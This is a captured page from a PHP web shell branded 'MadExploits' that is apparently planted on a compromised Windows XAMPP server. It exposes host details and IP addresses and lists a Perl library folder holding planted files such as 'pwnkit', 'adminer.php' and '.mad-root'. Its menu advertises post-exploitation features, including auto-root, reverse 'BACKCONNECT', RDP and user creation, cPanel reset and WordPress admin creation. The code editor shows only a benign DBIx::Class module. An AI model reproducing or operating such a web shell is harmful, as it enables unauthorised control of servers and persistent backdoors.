Windows NT IZOXMIX7871CBCZ 6.3 build 9600 (Windows Server 2012 R2 Datacenter Edition) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
: 172.23.17.241 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.12
Administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
C: /
xampp /
perl /
vendor /
lib /
DBIx /
Class /
Storage /
DBI /
[ HOME SHELL ]
Name
Size
Permission
Action
ADO
[ DIR ]
drwxrwxrwx
Firebird
[ DIR ]
drwxrwxrwx
ODBC
[ DIR ]
drwxrwxrwx
Oracle
[ DIR ]
drwxrwxrwx
Replicated
[ DIR ]
drwxrwxrwx
SQLAnywhere
[ DIR ]
drwxrwxrwx
Sybase
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-rw-rw-
ACCESS.pm
3.55
KB
-rw-rw-rw-
ADO.pm
2.34
KB
-rw-rw-rw-
AutoCast.pm
2.22
KB
-rw-rw-rw-
Cursor.pm
6.22
KB
-rw-rw-rw-
DB2.pm
2.1
KB
-rw-rw-rw-
Firebird.pm
1007
B
-rw-rw-rw-
IdentityInsert.pm
1.6
KB
-rw-rw-rw-
Informix.pm
4.25
KB
-rw-rw-rw-
InterBase.pm
4.08
KB
-rw-rw-rw-
MSSQL.pm
10
KB
-rw-rw-rw-
NoBindVars.pm
3.21
KB
-rw-rw-rw-
ODBC.pm
1.89
KB
-rw-rw-rw-
Oracle.pm
1.39
KB
-rw-rw-rw-
Pg.pm
8.1
KB
-rw-rw-rw-
Replicated.pm
26.05
KB
-rw-rw-rw-
SQLAnywhere.pm
5.43
KB
-rw-rw-rw-
SQLite.pm
12.09
KB
-rw-rw-rw-
Sybase.pm
3.13
KB
-rw-rw-rw-
UniqueIdentifier.pm
2.97
KB
-rw-rw-rw-
adminer.php
465.43
KB
-rw-rw-rw-
mysql.pm
6.28
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : IdentityInsert.pm
package DBIx::Class::Storage::DBI::IdentityInsert; use strict; use warnings; use base 'DBIx::Class::Storage::DBI'; use mro 'c3'; =head1 NAME DBIx::Class::Storage::DBI::IdentityInsert - Storage Component for Sybase ASE and MSSQL for Identity Inserts / Updates =head1 DESCRIPTION This is a storage component for Sybase ASE (L<DBIx::Class::Storage::DBI::Sybase::ASE>) and Microsoft SQL Server (L<DBIx::Class::Storage::DBI::MSSQL>) to support identity inserts, that is inserts of explicit values into C<IDENTITY> columns. This is done by wrapping C<INSERT> operations in a pair of table identity toggles like: SET IDENTITY_INSERT $table ON $sql SET IDENTITY_INSERT $table OFF =cut # SET IDENTITY_X only works as part of a statement scope. We can not # $dbh->do the $sql and the wrapping set()s individually. Hence the # sql mangling. The newlines are important. sub _prep_for_execute { my $self = shift; return $self->next::method(@_) unless $self->_autoinc_supplied_for_op; my ($op, $ident) = @_; my $table = $self->sql_maker->_quote($ident->name); $op = uc $op; my ($sql, $bind) = $self->next::method(@_); return (<<EOS, $bind); SET IDENTITY_$op $table ON $sql SET IDENTITY_$op $table OFF EOS } =head1 FURTHER QUESTIONS? Check the list of L<additional DBIC resources|DBIx::Class/GETTING HELP/SUPPORT>. =head1 COPYRIGHT AND LICENSE This module is free software L<copyright|DBIx::Class/COPYRIGHT AND LICENSE> by the L<DBIx::Class (DBIC) authors|DBIx::Class/AUTHORS>. You can redistribute it and/or modify it under the same terms as the L<DBIx::Class library|DBIx::Class/COPYRIGHT AND LICENSE>. =cut 1;
Close